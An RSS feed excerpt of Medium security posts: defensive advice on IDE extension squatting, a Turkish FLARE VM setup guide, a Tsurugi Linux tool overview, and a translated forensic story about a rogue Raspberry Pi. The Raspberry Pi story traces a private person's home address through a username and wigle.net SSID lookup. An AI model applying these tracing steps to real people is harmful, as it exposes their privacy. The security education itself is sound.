settings.json, so no developer can quietly opt their own machine back into instant updates.</p><p><strong>3- Hunt the extensions your developers have actually installed.</strong> Do not stop at what policy says should be there; go look at what is on the machines. Collect the installed extension list from every developer endpoint, by reading the <strong>~/.cursor/extensions</strong>, <strong>~/.vscode/extensions</strong>, and Windsurf install directories through your EDR or MDM, and check each publisher.extension against OpenVSX. Anything that resolves to a publisher who does not own the name on Microsoft’s Marketplace, points at a different repository, was registered or re-registered recently, or has no track record is a squatting candidate and gets pulled and reviewed.</p><p><strong>4- Treat developer endpoints as production-equivalent.</strong> Source code, deployment tokens, cloud credentials, customer data: all of it is sitting on developer machines. Apply EDR, alerting, response, and forensic standards. The <strong>CURSOR_SPAWN</strong>* anchor described above should be a permanent detection in every fleet that runs Cursor, not a one-time hunt.</p><h3>Where this goes next</h3><p>None of this is exotic, and that is the uncomfortable part. The weakness we exploited has been sitting in plain sight for years. As an industry we have leaned harder and harder on open-source dependencies and on the registries that distribute them, while quietly assuming somebody else was checking that the name we asked for still pointed at the code we trusted. Most of the time nobody was. The npm dependency-confusion work in 2021 said this out loud; the steady drip of malicious packages on npm, PyPI, and OpenVSX since has been saying it ever since. Extension Confusion is not a new failure so much as the same neglected one, surfacing on a package layer that happened to gain a few million new users overnight. The lesson is not that IDE extensions are uniquely dangerous. It is that any dependency surface you do not actively govern will, sooner or later, be governed by whoever wants it most, and right now that is the attacker.</p><h3><strong>About Us</strong></h3><p>We’re building a team of the brightest minds in our industry. Interested in joining us? Visit the pages below to learn more about our open positions.</p><p><a href="https://careers.trendyol.com/tr">Home - Trendyol Careers</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c87b85096b19" width="1" height="1" alt=""><hr><p><a href="https://medium.com/trendyol-tech/when-your-ide-becomes-a-rce-endpoint-c87b85096b19">When Your IDE Becomes a RCE Endpoint</a> was originally published in <a href="https://medium.com/trendyol-tech">Trendyol Tech</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hazır Windows Malware Analiz Ortamı: FLARE VM]]></title>
            <link>https://medium.com/three-arrows-security/haz%C4%B1r-windows-malware-analiz-ortam%C4%B1-flare-vm-1f013b8330d2?source=rss-470684e20f75------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f013b8330d2</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Berk ALBAYRAK]]></dc:creator>
            <pubDate>Sun, 24 Mar 2019 14:10:56 GMT</pubDate>
            <atom:updated>2020-11-25T12:25:10.063Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*JvwXd84pV8E5snJg6sJjkg.png" /><figcaption>Şekil-1: FLARE VM</figcaption></figure><p>Geçen hafta anlatmış olduğumuz <a href="https://medium.com/three-arrows-security/malware-katanas%C4%B1-tsurugi-linux-7dd2851d0e16">Malware Katanası: Tsurugi Linux</a>’tan sonra “Linux’ta analiz ne kadar verimli olur?” demiş olabilirsiniz. Çünkü dünya genelinde hazırlanan zararlı yazılımların neredeyse tamamına yakını Windows tabanlı sistemlerde çalışması için tasarlanmaktadır. Bunda kullanılan cihaz sayısının payı büyüktür. Durum böyle olunca zararlı yazılımları onların çalışma ortamlarında test etmek çok daha mantıklı analiz ortamı sağlamaktadır. Windows’ta her bir Malware analiz programını teker teker indirip kurmaktansa ve onların güncellemelerini takip etmektense hemen bir sanal makine ayağa kaldırıp dakikalar içerisinde birçok uygulama ve tool’u içerisine kurabilirsiniz. Tüm bu kolaylığı sağlayan aracımızın adı <strong>FLARE VM</strong>.</p><h4><strong>FLARE VM Nedir?</strong></h4><p>FireEye şirketinin Flare ekibi çalışanları tarafından Temmuz 2017&#39;de Windows platformlarında tersine mühendislik ve zararlı yazılım analizi yapılmasını kolaylaştıracak bir dağıtım olarak ortaya çıkarıldı. Ekip, tersine mühendislerden, dijital adli tıp uzmanlarından ve zararlı yazılım analistlerinden almış olduğu araç ve bilgileri tek bir dağıtım içerisine yerleştirerek kolayca kurmayı ve tüm araçlara gelen güncellemeleri tek elden dağıtmayı düşünerek bu platformu geliştirdi. Aslında ekibin temel amacı, sürekli olarak bir sanal makine kurup bunu yeni güncelleştirmelerle birlikte tekrar kurmak ve yeniden analiz ortamı hazırlamaktan kurtulmaktı.</p><p>FLARE VM, tersine mühendisler, zararlı yazılım analistleri, dijital adli tıp uzmanları ve sızma testi uzmanları için tasarlanmış, ücretsiz ve açık kaynaklı, Windows tabanlı bir güvenlik dağıtımıdır. Statik ve dinamik analizlerde, network analizlerinde, exploitation ve güvenlik açığı incelemelerinde kullanılacak birçok uygulama içerisinde mevcuttur.</p><h3><strong>İÇERİK:</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MnGDdMlfYZbZJUjcoZYe9Q.png" /><figcaption>Şekil-2: İçerik</figcaption></figure><h4>Android:</h4><p>dex2jar, apktool…</p><h4><strong>Debuggers</strong></h4><p>flare-qdb, scdbg, OllyDbg, OllyDump, OllyDumpEx, OllyDbg2, OllyDumpEx, x64dbg, WinDbg, OllyDumpex, pykd</p><h4>Decompilers</h4><p>RetDec</p><h4>Delphi</h4><p>Interactive Delphi Reconstructor (IDR)</p><h4>Disassemblers</h4><p>IDA Free (5.0 &amp; 7.0), Binary Ninja Demo, radare2, Cutter</p><h4>.Net</h4><p>de4dot, Dot Net String Decoder (DNSD), dnSpy, DotPeek, ILSpy, RunDotNetDll</p><h4>Flash</h4><p>FFDec</p><h4>Forensic</h4><p>Volatility</p><h4>Hex Editors</h4><p>FileInsight, HxD, 010 Editor</p><h4>Java</h4><p>JD-GUI, Bytecode-Viewer</p><h4>Networking</h4><p>FakeNet-NG, ncat, nmap, Wireshark</p><h4>Office</h4><p>Offvis, OfficeMalScanner</p><h4>PDF</h4><p>PDFiD, PDFParser, PDFStreamDumper</p><h4>PE</h4><p>PEiD, ExplorerSuite (CFF Explorer), PEview, DIE, PeStudio, PEBear, ResourceHacker, LordPE</p><h4>Pentest</h4><p>MetaSploit, Windows binaries from Kali Linux</p><h4>Text Editors</h4><p>SublimeText3, Notepad++, Vim</p><h4>Visual Basic</h4><p>VBDecompiler</p><h4>Web</h4><p>BurpSuite Free Edition</p><h4>Utilities</h4><p>FLOSS, HashCalc, HashMyFiles, Checksum, 7zip, Far Manager, Putty, Wget, RawCap, UPX, RegShot, Process Hacker, Sysinternals Suite, API Monitor, SpyStudio, Shellcode Launcher, Cygwin, Unxutils, Malcode Analyst Pack (MAP), XORSearch, XORStrings, Yara, CyberChef, KernelModeDriverLoader</p><h4>Python, Modüller, Tool’lar</h4><p>Py2ExeDecompiler, Python 2.7, hexdump, pefile, winappdbg, pycryptodome, vivisect, capstone-windows, unicorn, oletools, unpy2exe, uncompyle6, Python 3, unpy2exe, uncompyle6</p><h4>Diğerleri</h4><p>VC Redistributable Modules (2005, 2008, 2010, 2012, 2013, 2015, 2017), .Net versions 4.6.2 and 4.7.1, Practical Malware Analysis Labs, Google Chrome, Cmder Mini</p><h3>Kurulum:</h3><p>Kurulum için ilk önce kendimize yeni bir MS Windows sanal makine oluşturuyoruz ve içerisine Flare VM’in <a href="https://github.com/fireeye/flare-vm">GitHub</a> sayfasındaki powershell scripti indiriyoruz. <br>Not: Sanal makinenizin RAM ve disk boyutu tamamiyle size kalmış ancak içerisine yüklenecek araçların boyutlarını(20 GB) düşünerek yer ayırmanız önerilir.</p><p>Sanal makinenizi hazır bir şekilde buradan indirebilirsiniz. <br><a href="https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/">https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tuHU5WuEe1lWPXEb3skEWQ.png" /><figcaption>Şekil-3: GitHub Repository</figcaption></figure><p>Analiz makinesinde PowerShell’i Yönetici olarak açıyoruz ve aşağıdaki komutu girerek komut dosyası çalıştırmayı etkinleştiriyoruz:<br>Set-ExecutionPolicy Unrestricted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*Fdk-K33uHQE2OwEFiaL6nQ.png" /><figcaption>Şekil-4: Windows Powershell</figcaption></figure><p>Bu işlemle yetkilerimizi verdikten sonra Powershell üzerinde, bilgisayarımıza indirip zip dosyasından çıkardığımız flare-vm-master klasörüne giriyoruz ve install.ps1 dosyamızı çalıştırıyoruz.<br>.\install.ps1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*_D-y1LV3RL2EeFXijWBE2w.png" /><figcaption>Şekil-5: install.ps1 kurulum</figcaption></figure><p>Sanal makinemiz, bu aşamadan sonra birkaç kere kapanıp açılarak kurulumun bu aşamasını bitirmektedir. Bilgisayarımız yeniden başladıktan sonra masaüstünde bulunan Boxstarter Shell adlı uygulamayı çalıştırıyoruz.<br><em>NOT: Yeni scriptte sorunsuz kurulum gerçekleştirildiyse bu aşamayı geçebilirsiniz.(2020)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kjpGcfWhiZwdEOssy_x2IA.png" /><figcaption>Şekil-6: Boxstarter Shell</figcaption></figure><p>Uygulamayı açtığımızda karşımıza bir komut satırı gelmekte. Komut satırına aşağıdaki kodu yazarak esas sistemin kurulumunu başlatıyoruz.<br>Install-BoxstarterPackage -PackageName <a href="https://raw.githubusercontent.com/fireeye/flare-vm/master/install.ps1">https://raw.githubusercontent.com/fireeye/flare-vm/master/install.ps1</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*tH4SoGmPj4KhrWlu_LQyFw.png" /><figcaption>Şekil-7: Kurulum Kodu</figcaption></figure><p>Bu işlemi de tamamladığımıza göre internet hızımıza bağlı olarak yaklaşık 30–40 dakikada tüm uygulamalar ve tool’lar indirilmiş bir şekilde sistem açılacaktır. Bu süre içerisinde sistem birçok kez kapanıp açılarak optimize hale gelir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-IguU2OXYlElYoukim5Puw.png" /><figcaption>Şekil-8: FLARE VM’in son hali</figcaption></figure><p>Sonunda uzun uğraşlar vermeden onlarca aracı bir arada barındıran bir sisteme sahip oluyoruz. Kurulumu bitirdikten sonra Powershell’i yönetici olarak tekrar çalıştırıp execution policy ayarlarımızı eski haline getiriyoruz.</p><p>Set-Executionpolicy Restricted</p><p>Malware analizi çok kapsamlı ve geniş bir konu olduğundan platformun nasıl çalıştığını tamamıyle anlatmamız mümkün değil ancak sistemle ilgili bilgilere kaynaklardan ulaşabilirsiniz.</p><h3><strong>Kaynaklar</strong>:</h3><ul><li><a href="https://github.com/fireeye/flare-vm">fireeye/flare-vm</a></li><li><a href="https://www.fireeye.com/blog/threat-research/2017/07/flare-vm-the-windows-malware.html">FLARE VM: The Windows Malware Analysis Distribution You&#39;ve Always Needed!</a></li><li><a href="https://www.fireeye.com/blog/threat-research/2017/07/flare-vm-the-windows-malware.html">FLARE VM: The Windows Malware Analysis Distribution You&#39;ve Always Needed!</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f013b8330d2" width="1" height="1" alt=""><hr><p><a href="https://medium.com/three-arrows-security/haz%C4%B1r-windows-malware-analiz-ortam%C4%B1-flare-vm-1f013b8330d2">Hazır Windows Malware Analiz Ortamı: FLARE VM</a> was originally published in <a href="https://medium.com/three-arrows-security">Three Arrows Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Katanası: Tsurugi Linux]]></title>
            <link>https://medium.com/three-arrows-security/malware-katanas%C4%B1-tsurugi-linux-7dd2851d0e16?source=rss-470684e20f75------2</link>
            <guid isPermaLink="false">https://medium.com/p/7dd2851d0e16</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[distribution]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Berk ALBAYRAK]]></dc:creator>
            <pubDate>Sun, 17 Mar 2019 14:07:33 GMT</pubDate>
            <atom:updated>2019-03-18T20:32:49.985Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*OHD7aycqRY8dfYNJ5OIr5A.png" /></figure><h4><strong>Nedir Bu Tsurugi Linux?</strong></h4><p>Tsurugi Linux, yeni bir DFIR İşletim Sistemi geliştirme fikrini bir araya getiren 4 meraklı Backtrack ve Deft kullanıcısı tarafından geliştirilmiştir. Dijital Adli Tıp ve Olaylara Müdahale amaçları için geliştirilen Açık Kaynaklı bir Linux distrosudur. İçerisinde malware analizinden OSINT’e kadar her çeşit araştırma ve inceleme aracı barındırması ve düşük sistem kaynakları kullanmasıyla tercih edilebilir bir sistemdir.</p><h3><strong>Türleri:</strong></h3><p><strong><em>TSURUGI Linux [LAB]-</em></strong> Dijital Adli Analizler için geliştirilen ve içerisinde her türden aracı barındıran ekibin esas distrosudur. 3.9 GB boyutunda ve 64 bitlik bir Ubuntu LTS üzerine kuruludur. Live modda kullanım sunsa da asıl amacı sistemi yüklemek ve laboratuvarınız haline getirmektir.</p><p><strong><em>TSURUGI Acquire-</em></strong> LAB distrosunu küçültmek ve hafifleştirmek için geliştirilen bir sistemdir. Bütün cihazlarla uyum sağlaması için 32 bit olarak geliştirilmiştir. İçerisinde daha az araç bulunmaktadır. 1.1 GB boyutundadır.</p><p><strong><em>Bento-</em></strong> Canlı adli tıp ve olaylara müdahale faaliyetleri için tasarlanmış bir araçtır. 300&#39;den fazla portatif uygulamaya sahiptir ve Bento Windows, Linux ve Macos işletim sisteminde inceleme yapmak için size destek de sunmaktadır. Olaylara ilk müdahaleyi kolaylaştıran kullanışlı otomatik araçlar içermektedir. 460 MB boyutundadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NOBcjcfGr3Q9tupsw7fJNw.png" /><figcaption><strong>Şekil1-Tsurugi Linux’un Kullanıcı Arayüzü</strong></figcaption></figure><h3><strong><em>Ek Bilgiler:</em></strong></h3><p><strong>Mevcut Sürüm-</strong> 2018.1</p><p><strong>İndirme Linki-</strong> <a href="https://tsurugi-linux.org/downloads.php">https://tsurugi-linux.org/downloads.php</a></p><p><strong>Kurulum Alanı- </strong>Kurulum için 30 GB gerekmektedir. Ancak 30 GB’tan yüksek boyutlar ayırmanız işlerinizi kolaylaştıracaktır.</p><p><strong>Bellek-</strong> 1–4 GB arası hafıza sistemi yormadan çalışması için yeterlidir.</p><h3><strong>Mevcut Bazı Araçlar:</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zWfohaxC5TopnMhzUqESEA.png" /><figcaption><strong>Şekil2-Araçlara Genel Bir Bakış</strong></figcaption></figure><p><strong>Data Recovery —</strong> catfish, DDRescure, ext3grep, photorec, safecopy, myrescue, ext4magic, foremost…</p><p><strong>Memory Forensics — </strong>aeskeyfind, volatility, vshot, swap_digger, recall, pdgmail, evolve, rsakeyfind, damn…</p><p><strong>Malware Analyze — </strong>Binary, JavaScript, JAVA, Flash ve PDF analizleri için bir çok araç içeriyor. Ayrıca, Firejail Sandbox, Debugger, XOR ile ilgili araçları ve bampfdetect, phpmalwarefinder, rkhunter, yara, vtTool, udicli, chrootkit gibi tarayıcılar da mevcuttur. Bellek ve Office dosyalarının analizi ile ilgili araçlar da vardır.</p><p><strong>Imaging </strong>— dc3dd , ddrescue, esximager, ewfacquire, ftkimager, cyclone ve diğer AFF, EWF, RAW formatları toolları.</p><p><strong>Hashing-</strong> hashdeep, md5sum, sha1sum, sha256sum, sha512sum</p><p><strong>Mount-</strong> affuse, ewfmount, fusemount, xmount, apfs-dump, veracrypt ve Bitlocker, Shadow Copy gibi araçlar.</p><p><strong>Timeline Analysis-</strong> The Sleuth Kit, PLASO, pinfo, psteal, Timesketch, yarp-timeline…</p><p><strong>Artifact Analysis — </strong>Windows, Mac, BootCode, Browser, Email, Dosyalar, Dosya Sistemleri, Google Takeout, Jump list, Metadata, P2P, Çöp dosyaları ve Registry için araçlar.</p><p><strong>Password Recovery- </strong>aircrack-ng, dsniff, XHydra, hashcat,cupp, John the Ripper, pdfcrack, BEviewer…</p><p><strong>Network Analysis-</strong> nmap, scapy, maltrail sensor, hping3, arp-scan, whois, torify, masscan airmon-ng, airdump-ng, kismet,Wireshark, tcpdump, Ettercap, driftnet, Websnort…</p><p><strong>Picture Analysis-</strong> exiftool, Openstego, steghide, jpeg_extract, mat, zsteg…</p><p><strong>Mobile Forensics —</strong> adb, apktool, fastboot, systrace, dmtracedump, apddump, iosbackupexaminer, whapa, whagodri, Guasap_Forensic, SQLite…</p><p><strong>CryptoCurrency — </strong>BTCscan, BitAddress, Coinbin, electrum, keyhunter, btcrecover, bitcoin-tool, bruteforce-wallet…</p><p>Tüm bunların yanında, Tsurugi Linux, OSINT için “<strong>Osint Switcher</strong>” adlı bir mod bulundurmaktadır. Osint analizleri için birçok aracı da içerisinde barındırmaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DBBta3smRB-TW-LI5jK_kg.png" /><figcaption><strong>Şekil3-OSINT Switcher Arayüzü</strong></figcaption></figure><p>Sistemi bu arayüze geçirdikten sonra malware analizi ve adli analiz araçlarının çoğunu gizleyerek Osint’e yönelik ortamı sizlere sunmaktadır.</p><p>İçerisinde OSINT Browser, TOR Browser, Maltego, tweets_analyzer, youtube-dl, reconcat, InstaLooter, creepy gibi bir çok Osint aracı mevcuttur.</p><p>Sadece analiz için geliştirilen bir sistem olması günlük kullanımdan uzak olacağı için Libre Office, Mozilla Firefox, KeepNote, VLC Media Player gibi uygulamalar da içerisinde yüklü gelmektedir.</p><h3><strong>Sonuç:</strong></h3><p>Dijital Adli Tıp ve Olay Müdahale Amaçları için mükemmel bir distrodur. İçerisinde yüzlerce kullanışlı aracı bulunduran tek bir platform olması ve hafif olması bu işler için kendisini eşsiz kılıyor.<br>Analizciler için dinamik analiz, bu distro için bir handikap olabilir ancak bu distronun toolset’lerin içerisinde bulunması önerilmektedir.</p><p>Tsurugi de nedir derseniz.</p><p><em>Tsurugi (剣), eski Japonya keşişleri tarafından kullanılan efsanevi bir Japon çift kanatlı kılıcıdır.</em></p><p><em>Kaynaklar:</em></p><p><a href="https://tsurugi-linux.org/index.php"><em>https://tsurugi-linux.org/index.php</em></a></p><p><a href="https://twitter.com/tsurugi_linux">Tsurugi Linux (@tsurugi_linux) | Twitter</a></p><p><em>Geliştiriciler — </em><a href="https://tsurugi-linux.org/about_us.php"><em>https://tsurugi-linux.org/about_us.php</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7dd2851d0e16" width="1" height="1" alt=""><hr><p><a href="https://medium.com/three-arrows-security/malware-katanas%C4%B1-tsurugi-linux-7dd2851d0e16">Malware Katanası: Tsurugi Linux</a> was originally published in <a href="https://medium.com/three-arrows-security">Three Arrows Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ağ Dolabından Çıkan Raspberry Pi’nin İlginç Macerası]]></title>
            <link>https://medium.com/three-arrows-security/a%C4%9F-dolab%C4%B1ndan-%C3%A7%C4%B1kan-raspberry-pinin-i%CC%87lgin%C3%A7-maceras%C4%B1-a3f4437170ea?source=rss-470684e20f75------2</link>
            <guid isPermaLink="false">https://medium.com/p/a3f4437170ea</guid>
            <category><![CDATA[analyze]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[resin]]></category>
            <category><![CDATA[raspberry-pi]]></category>
            <category><![CDATA[iot]]></category>
            <dc:creator><![CDATA[Berk ALBAYRAK]]></dc:creator>
            <pubDate>Tue, 22 Jan 2019 14:46:51 GMT</pubDate>
            <atom:updated>2019-06-08T09:16:11.062Z</atom:updated>
            <content:encoded><![CDATA[<h3>Ağ Dolabından Çıkan Raspberry Pi&#39;nin İlginç Macerası</h3><p><strong>Raspberry Pi’yi bulduk, analiz ettik ve ağımıza yerleştiren kişiyi bulduk ama nasıl?</strong></p><p>Geçen hafta, iş arkadaşım tarafından görsel eki bulunan bir mesaj aldım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*RbKs4rJYL5TNzeiSaNKQjg.png" /><figcaption>İş Arkadaşımın Mesajı</figcaption></figure><p>Ondan Raspberry Pi&#39;nin fişini çıkarmasını, güvenli bir yerde saklamasını, tüm parçaların fotoğrafını çekmesini ve SD kartın resmini çekmesini istedim (Genellikle uzaktan çalışıyorum). Pekçok Raspberry Pi projesinde çalıştım ve bu Raspberry Pi&#39;nin ne yaptığını bulabileceğimden emindim.</p><p>Bu noktada kimsenin aklına zararlı bir yazılım gelmedi, çalışanlarımızdan birinin bizimle oyun oynadığını düşünüyorduk.</p><h3><strong>Parçalar</strong></h3><p>3 bölüm vardı:</p><ul><li>1. Nesil Raspberry Pi B</li><li>Gizemli bir USB dongle</li><li>16 GB sd kart (hızlı)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gXSuiBu8hTtG-H3vjfAqjA.jpeg" /><figcaption>USB Dongle ve SD Kart</figcaption></figure><h3><strong>Yapılacak İlk Şey: Bu Ağ Dolabına Erişebilen Herkesi Durumla İlgili Sorgulayın</strong></h3><p>Bu küçük kabine erişebilen kişi sayısı çok sınırlıydı. Bu oda için sadece 4 kişide anahtar var:</p><ol><li>Yönetici</li><li>Bekçi</li><li>İş Arkadaşım</li><li>Ben</li></ol><p>Hiçbiri bu konuda bir şey bilmiyordu, bu yüzden BT&#39;de çalışan arkadaşlarıma sordum ve onlar da benim gibi şaşkındı. İnsanların böyle şeyleri koymaları için para aldıklarını duydum ve amacının ne olduğunu bulmakla çok ilgileniyordum.</p><h3>Bu USB Dongle da Ne?</h3><p>Bu gizemi çözmeme yardımcı olması için <a href="https://www.reddit.com/r/sysadmin/comments/9xveq5/rogue_raspberrypi_found_in_network_closet_need/">Reddit</a> kullanıcılarından yardım istedim ve kesinlikle dongle&#39;ı bir mikroişlemci olarak tanımladılar. Neredeyse Raspberry Pi&#39;nin ki kadar güçlü: <a href="https://wiki.makerdiary.com/nrf52832-mdk/">nRF52832-MDK</a> . Çok güçlü bir wifi, bluetooth ve RFID okuyucu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LOtWEvaf85G8vNTEIrcP0Q.jpeg" /><figcaption>NRF52832-MDK USB Donanımı</figcaption></figure><p>Bu, şüphesiz eski Raspberry Pi&#39;ye bir wifi ve bluetooth bağlantısı vermiş oldu, bu şeyde şimdi wifi de var ..</p><h3><strong>SD Kart İmajını Parçalama Zamanı</strong></h3><p>SD kartın bölünmüş birçok bölümü vardı. Çoğunluğu ext4, bir bölümü fat16&#39;idi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*iXjxhga9M1M6TInO0e91Og.png" /><figcaption>Kartın GParted Görünümü</figcaption></figure><p>Şimdi bunu takıp bir inceleyelim.</p><p>Donanımı taktığımda Debian’ım büyük bir ipucunu söyledi: Resin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/160/1*lNoVrR_wMoLOyt4YeqFM_Q.png" /><figcaption>SD Karttaki Resin Bölümleri</figcaption></figure><h3><strong>Bu Resin de Ne?</strong></h3><p>Resin(şimdi <a href="https://www.balena.io/">Balena</a> olarak yeniden adlandırılmış), IOT cihazları için görüntü oluşturabileceğiniz, bu cihazları dağıtabileceğiniz ve resin güncellemeleriyle verilerini alabileceğiniz ücretli bir IOT web hizmetidir.</p><p>Resin ayrıca, cihaza bir VPN kurar, böylece toplanan veriler güvenli bir şekilde aktarılır. Açıkçası, bu cihazın kullandığı servis ücretli olduğu için bıraktığı izlerin tekrar ele alınması gerekiyordu.</p><h3><strong>Bölümlere Yakından Bakmak</strong></h3><p>İlk bölümlemeye “resin-boot” deniliyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RUWIKF-iEmEdmf7digYe9w.png" /></figure><p>Gözleriniz bir şeyi yakaladı mı? config.json dosyasını bulduk. Bu bizim için güzel bir ipucu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*1Ktei5HcBRGSSBPqEyvjvQ.png" /><figcaption>resin-boot bölümündeki config.json</figcaption></figure><p>Bu dosyadan ne çıkarabiliriz:</p><ol><li>Bu uygulama resin tarafından “logger” olarak çağrılıyor. Bu iyiye işaret değil.</li><li>Bir adet kullanıcı adına sahibiz. Bu kullanıcı adı resin cihazının hesap girişi gibi gözüküyor.</li><li>Cihazın VPN bağlantısını kullandığı port 443 olarak görünüyor.</li><li>Bir kayıt tarihi var. 13 Mayıs 2018&#39;de kurulmuş.</li></ol><h3><strong>Bu Kullanıcı Adı Hakkında…</strong></h3><p>config.json dosyasından çıkan bu kullanıcı adını Gugılladığımda, Raspbery Pi’yi bulduğumuz kasabada birini buldum. Şirket, kayıtlarını araştırdı ama böyle birini bulamadı.</p><p>İşin garip tarafı, 2001 yılından itibaren “yetenekli çocukların” ebeveynlerinin onlar hakkında makale yazdıkları ve ev adresleriyle birlikte telefon numaralarını da kullanarak imzaladıkları bir web sitesi buldum. Bu sayede bu aile hakkında bir adresim oldu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*AnlKEYBwUqKd2pkjASB_fQ.jpeg" /><figcaption>Gerçeği Değil, Bir Benzeri</figcaption></figure><p>Kullanıcı adları birden fazla kişi tarafından kullanılma eğiliminde olduğu için bu benim için yanlış bir ipucu olabilirdi, ancak bu adı aklımda tutmaya devam etmeliyim.</p><h3><strong>resin-data</strong></h3><p>Veri dosyasında saklanan hiçbir veri yoktu ancak birçok ve karmakarışık bir şekilde nodejs uygulaması vardı ve bunun ne anlama geldiğini bilemedim. Dongle’la konuşmak için hangi bağlantıları kullandığını görebiliyordum fakat gerçekte hangi verileri topladığını bulamıyordum. Sadece bulunduğu bölgede(Müdürlerin ofislerinin çevresinde) ve belki de wifi paketlerinde bulunan bluetooth ve wifi cihazlarının hareket profillerini topladığını varsayabiliyordum.</p><p>Fakat çok ilginç bir şey buldum: bir LICENSE.md dosyası</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*8KUvHx-FlU89J_bq5f_Xdw.png" /><figcaption>LICENSE.md Dosyasının Ekran Görüntüsü</figcaption></figure><p>Garip… Neden bu nodejs uygulaması gizli bir yazılım parçası içeriyor? Şirketin telif hakkı başlığını aldım ve Gugılladım, tahmin edin ne oldu?</p><h3><strong>Config Dosyasında Kullanıcı Adını Bulduğum Adamlardan Biri Bir Hissedar</strong></h3><p>Bu benim ötemde bir şey, bir şirketin kurucu ortakları neden bu cihazları şehrin her yerine dağıtıyor…</p><h3><strong>Saldırganların Ev Adresini Alma</strong></h3><p>Bulduğum çok ilginç bir şey de, üçüncü bölümdeki(resin-state) <em>/root-overlay/etc/NetworkManager/system-connections/</em> dizini oldu. resin-wifi-01 dosyası var ve tahmin edin ne içeriyor?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*uaV8Ynms_JJcgmfww_HKQw.png" /></figure><p>Aygıtı ayarlamak(veya test etmek) için kullanılan wifiye ait wifi kimlik bilgilerini içeriyor.Kesinlikle bizim şirketin wifi’si değil. Bir wifi’ye ait konumu bulmak için ne yaparız? wigle.net’e gideriz, SSID(wifi adı) gireriz ve bize wifi’nin dünyanın neresinde olduğunu gösterir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jsv7C9GJiwUWPcxumn4XWQ.png" /><figcaption>Gerçek Lokasyon ve İsim Değil</figcaption></figure><p>Tahmin edin ne oldu? Size daha önceden bahsettiğim yetenekli çocukların ebeveynlerinin adresi karşımıza çıktı.</p><h4>Pi Oraya Nasıl ve Ne Zaman Geldi?</h4><p>DNS kayıtlarını kontrol ettim ve Pi&#39;nin ağda ilk ne zaman ve hangi saatte görüldüğünü buldum. Sonrasında RADIUS günlüklerini kontrol ettim ve devre dışı bırakılmış bir hesabın wifi ile bağlantı kurmaya çalıştığını gösteren birden fazla hata mesajı gördüm.</p><p>Devre dışı bırakılmış olan hesap, binadan tüm eşyalarını toplamadan giden, birkaç ay boyunca anahtarın kendisinde kalmasını isteyen eski bir çalışana aitti. (Kim olduğunu sormayın…)</p><h4><strong>Şimdi Ne Oldu?</strong></h4><p>Hukuk, olayı devraldı, ben de görevimi yaptım.</p><p>Benim için çok ilginç bir mücadele oldu ve Reddit&#39;teki herkese bu bulmacanın bir parçası olduğu için teşekkür etmek istiyorum.</p><p><em>Bu yazı Christian Hascheck&#39;in blogunda yayınlanmıştır.<br>Asıl Metin: <br></em><a href="https://blog.haschek.at/2018/the-curious-case-of-the-RasPi-in-our-network.html"><em>https://blog.haschek.at/2018/the-curious-case-of-the-RasPi-in-our-network.html</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a3f4437170ea" width="1" height="1" alt=""><hr><p><a href="https://medium.com/three-arrows-security/a%C4%9F-dolab%C4%B1ndan-%C3%A7%C4%B1kan-raspberry-pinin-i%CC%87lgin%C3%A7-maceras%C4%B1-a3f4437170ea">Ağ Dolabından Çıkan Raspberry Pi’nin İlginç Macerası</a> was originally published in <a href="https://medium.com/three-arrows-security">Three Arrows Security</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
